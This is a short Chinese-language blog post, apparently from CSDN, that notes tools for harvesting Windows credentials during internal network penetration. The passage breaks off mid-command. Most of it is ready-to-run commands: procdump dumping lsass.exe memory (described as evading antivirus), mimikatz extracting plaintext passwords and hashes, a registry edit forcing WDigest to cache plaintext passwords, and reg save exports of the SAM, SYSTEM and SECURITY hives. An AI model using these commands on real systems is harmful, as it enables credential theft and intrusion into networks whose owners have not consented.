内网渗透Windows密码凭证获取

最新推荐文章于 2024-12-24 09:57:01 发布

西湖第一剑

最新推荐文章于 2024-12-24 09:57:01 发布

阅读量2.9k

点赞数 2

分类专栏：内网安全文章标签： windows 安全系统安全

本文链接：https://blog.youkuaiyun.com/qq_46258964/article/details/125210258

版权

记录一下抓取window凭证信息的一些工具
Windows凭证抓取

1，procdump (官方工具无视免杀)（首选）
procdump + mimikatz 加载dmp文件，并导出其中的明文密码(procdump过杀软)

管理员运行工具，导出为lsass.dump文件
procdump.exe -accepteula -ma lsass.exe lsass.dmp 　　#32位系统
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp #64位系统

将lsass.dmp放在mimikatz同一目录，读取密码文件
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

2，注册表读取windows hash (首选)
当目标为win10或2012R2以上时，默认在内存缓存中禁止保存明文密码，但可以通过修改注册表的方式抓取明文。

cmd修改注册表命令：
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

注册表读取密码主要获取的是3个文件

导出文件
reg save HKLM\SYSTEM Sys.hiv
reg save HKLM\SAM Sam.hiv
reg save hklm\security security.hive
通过mimikatz读取管理员密码的hash值
mimikatz.exe "lsadump::sam /sam:Sam.hiv /system:Sys.hiv " exit> hiv.txt
mi